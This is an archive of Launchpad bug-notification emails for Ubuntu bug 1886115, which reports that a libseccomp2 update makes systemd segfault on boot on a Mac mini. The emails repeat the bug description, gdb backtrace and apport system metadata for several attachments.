  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
+ --- 
+ ProblemType: Bug
+ ApportVersion: 2.20.9-0ubuntu7.15
+ Architecture: amd64
+ CurrentDesktop: MATE
+ Dependencies:
+  gcc-8-base 8.4.0-1ubuntu1~18.04
+  libc6 2.27-3ubuntu1
+  libgcc1 1:8.4.0-1ubuntu1~18.04
+ DistroRelease: Ubuntu 18.04
+ InstallationDate: Installed on 2019-03-30 (460 days ago)
+ InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
+ NonfreeKernelModules: wl
+ Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
+ PackageArchitecture: amd64
+ ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
+ Tags:  bionic
+ Uname: Linux 5.3.0-62-generic x86_64
+ UpgradeStatus: No upgrade log present (probably fresh install)
+ UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
+ _MarkForUpload: True

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes 

[Touch-packages] [Bug 1886115] SystemdFailedUnits.txt

[guenthert]

apport information

** Attachment added: "SystemdFailedUnits.txt"
   
https://bugs.launchpad.net/bugs/1886115/+attachment/5389205/+files/SystemdFailedUnits.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  Dependencies:
   gcc-8-base 8.4.0-1ubuntu1~18.04
   libc6 2.27-3ubuntu1
   libgcc1 1:8.4.0-1ubuntu1~18.04
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  NonfreeKernelModules: wl
  Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log 

[Touch-packages] [Bug 1886115] SystemdDelta.txt

[guenthert]

apport information

** Attachment added: "SystemdDelta.txt"
   
https://bugs.launchpad.net/bugs/1886115/+attachment/5389204/+files/SystemdDelta.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  Dependencies:
   gcc-8-base 8.4.0-1ubuntu1~18.04
   libc6 2.27-3ubuntu1
   libgcc1 1:8.4.0-1ubuntu1~18.04
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  NonfreeKernelModules: wl
  Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present 

[Touch-packages] [Bug 1886115] ProcCpuinfoMinimal.txt

[guenthert]

apport information

** Attachment added: "ProcCpuinfoMinimal.txt"
   
https://bugs.launchpad.net/bugs/1886115/+attachment/5389207/+files/ProcCpuinfoMinimal.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  Dependencies:
   gcc-8-base 8.4.0-1ubuntu1~18.04
   libc6 2.27-3ubuntu1
   libgcc1 1:8.4.0-1ubuntu1~18.04
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  NonfreeKernelModules: wl
  Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log 

[Touch-packages] [Bug 1886115] ProcEnviron.txt

[guenthert]

apport information

** Attachment added: "ProcEnviron.txt"
   
https://bugs.launchpad.net/bugs/1886115/+attachment/5389208/+files/ProcEnviron.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  Dependencies:
   gcc-8-base 8.4.0-1ubuntu1~18.04
   libc6 2.27-3ubuntu1
   libgcc1 1:8.4.0-1ubuntu1~18.04
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  NonfreeKernelModules: wl
  Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present 

[Touch-packages] [Bug 1886115] Dependencies.txt

[guenthert]

apport information

** Attachment added: "Dependencies.txt"
   
https://bugs.launchpad.net/bugs/1886115/+attachment/5389196/+files/Dependencies.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  Dependencies:
   gcc-8-base 8.4.0-1ubuntu1~18.04
   libc6 2.27-3ubuntu1
   libgcc1 1:8.4.0-1ubuntu1~18.04
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  NonfreeKernelModules: wl
  Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present 

[Touch-packages] [Bug 1886115] Lspci.txt

[guenthert]

apport information

** Attachment added: "Lspci.txt"
   https://bugs.launchpad.net/bugs/1886115/+attachment/5389197/+files/Lspci.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
